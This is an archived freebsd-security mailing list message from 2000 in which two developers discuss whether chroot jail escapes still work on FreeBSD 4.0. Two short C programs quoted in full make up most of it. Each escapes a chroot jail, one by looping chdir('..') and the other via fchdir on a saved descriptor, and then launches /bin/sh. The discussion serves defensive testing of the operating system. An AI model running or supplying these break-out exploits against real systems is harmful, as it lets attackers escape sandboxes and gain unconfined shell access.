Date: Fri, 12 May 2000 20:06:19 +0200 From: Harold Gutch <logix@foobar.franken.de> To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>, Poul-Henning Kamp <phk@critter.freebsd.dk> Cc: Paul Hart <hart@iserver.com>, Adam Laurie <adam@algroup.co.uk>, freebsd-security@FreeBSD.ORG Subject: Re: envy.vuurwerk.nl daily run output Message-ID: <20000512200619.A14067@foobar.franken.de> In-Reply-To: <200005121319.e4CDJev40777@cwsys.cwsent.com>; from Cy Schubert - ITSD Open Systems Group on Fri, May 12, 2000 at 06:19:06AM -0700 References: <4226.958118411@critter.freebsd.dk> <200005121319.e4CDJev40777@cwsys.cwsent.com>
next in thread | previous in thread | raw e-mail | index | archive | help
On Fri, May 12, 2000 at 06:19:06AM -0700, Cy Schubert - ITSD Open Systems Group wrote: > chrooted environment including jail, however testing the break out of > jail exploit (good thing I tested before I spoke), which BTW worked on > FreeBSD-3 and numerous other platforms including Linux, Solaris, and > Tru64-UNIX, appears to no longer work under 4.0 -- which is a good > thing! When did the FreeBSD chroot(2) get fixed? > > Once again FreeBSD leads the way. > > Following is the break-out-of-jail code. > > #include <unistd.h> > #include <assert.h> > > const char *shell = "/bin/sh"; > const char *lowerdir = "/tmp"; > > int main() { > int i; > > assert(chdir("/") != -1); > assert(chroot(lowerdir) != -1); > for (i = 0; i < 32; i++) > assert(chdir("..") != -1); > assert(chroot(".") != -1); > > assert(execl(shell, shell, NULL) != -1); > }; What about the "other" chroot-breakout, does it still work under FreeBSD 4.0? Here's the breakout-code modulo checks wether /tmp exists etc. #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { int handle, i; handle = open("/", O_RDONLY); chroot("/tmp"); chdir("/"); fchdir(handle); for (i = 0; i < 32; i++) chdir(".."); chroot("."); chdir("/"); system("/bin/sh"); return 0; } bye, Harold -- Someone should do a study to find out how many human life spans have been lost waiting for NT to reboot. Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20000512200619.A14067>